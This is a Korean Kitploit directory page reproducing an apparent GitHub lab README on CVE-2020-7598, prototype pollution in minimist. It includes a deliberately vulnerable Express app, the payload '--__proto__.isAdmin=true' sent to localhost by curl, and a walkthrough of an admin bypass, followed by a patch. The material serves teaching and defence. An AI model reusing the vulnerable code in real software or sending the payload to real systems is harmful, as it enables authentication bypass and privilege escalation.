Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-7598 — CVE-2020-7598 프로토타입 오염을 시연하는 교육용 랩으로, 취약한 Node.js/Express 앱, 익스플로잇 페이로드, 그리고 보안 연구를 위한 인증 우회 워크스루를 포함합니다. | Kitploit
도구/GitHubGitHub/renewablehacking/cve-2020-7598
Static AnalysisVulnerability AnalysisCode AnalysisWeb Application ExploitationLearning & EducationLabs & Practice
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

CVE-2020-7598 프로토타입 오염을 시연하는 교육용 랩으로, 취약한 Node.js/Express 앱, 익스플로잇 페이로드, 그리고 보안 연구를 위한 인증 우회 워크스루를 포함합니다.

저장소 보기
164개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-7598 - minimist의 프로토타입 오염

면책 조항

이 프로젝트는 다음 용도로만 만들어졌습니다:

  • 학습,
  • 보안 연구,
  • 개인 로컬 실습.

허가 없이 시스템에 사용하지 마십시오.


CVE 정보

CVE-2020-7598은 npm 패키지의 프로토타입 오염(Prototype Pollution) 취약점입니다:

  • minimist
  • 취약한 버전:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

이 취약점은 공격자가 다음을 수정할 수 있게 합니다:

Object.prototype

다음과 같은 페이로드를 통해:

--__proto__.isAdmin=true

결과적으로:

  • 모든 JavaScript 객체가 위험한 속성을 상속받을 수 있음,
  • 인증 우회,
  • 권한 상승,
  • 특정 조건에서 RCE로 이어질 수 있음.

프로토타입 오염 작동 방식

JavaScript에서:

const user = {};

빈 객체라도 다음으로부터 속성을 상속받습니다:

Object.prototype

공격자가 다음을 성공하면:

Object.prototype.isAdmin = true;

그러면:

({}).isAdmin

는 다음을 반환합니다:

true

모든 일반 객체에 대해.


실습 환경

의존성

  • Node.js
  • Express
  • [email protected]

설치

1. 저장소 복제

https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. 의존성 설치

npm install

또는 수동:

npm install express [email protected]

소스 코드

파일 생성:

app.js

내용:

const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

서버 실행

node app.js

출력:

Server running on port 3000

정상 테스트

일반 로그인

curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

출력:

{
  "success": true,
  "role": "USER"
}

CVE-2020-7598 익스플로잇

프로토타입 오염 페이로드

브라우저 열기:

http://localhost:3000/parse?payload=--__proto__.isAdmin=true

또는 curl 사용:

curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

익스플로잇 결과

서버 터미널:

GLOBAL isAdmin: true

의미:

Object.prototype.isAdmin = true

성공적으로 수정되었습니다.


익스플로잇 후 로그인

curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

출력:

{
  "success": true,
  "role": "ADMIN"
}

그런데:

  • 데이터베이스는 변경되지 않음,
  • 소스 코드는 변경되지 않음,
  • 사용자는 isAdmin 속성을 가지고 있지 않음.

왜 ADMIN이 되었나?

다음 코드:

if(user.isAdmin)

는 객체의 직접 속성만 확인하는 것이 아닙니다.

JavaScript는 다음 순서로 찾습니다:

  1. 객체의 속성,
  2. 그 다음 프로토타입 체인.

공격자가 다음을 성공적으로 수정했기 때문에:

Object.prototype.isAdmin = true

모든 일반 객체가 해당 속성을 상속받습니다.


프로토타입 오염 증명

서버 로그:

Own property: false
user.isAdmin: true

의미:

  • isAdmin은 사용자의 고유 속성이 아님,
  • 그러나 전역 프로토타입에서 상속됨.

패치

안전한 minimist 버전:

npm install minimist@latest

패치된 버전은 다음을 차단합니다:

  • __proto__
  • constructor
  • prototype

따라서 프로토타입 오염이 더 이상 성공하지 않습니다.


참고 자료

  • CVE: CVE-2020-7598
  • 패키지: minimist
  • CWE: CWE-1321 프로토타입 오염

작성자

이 실습과 문서는 Node.js 애플리케이션 보안 학습 및 프로토타입 오염 연구를 위해 만들어졌습니다.

도구 다운로드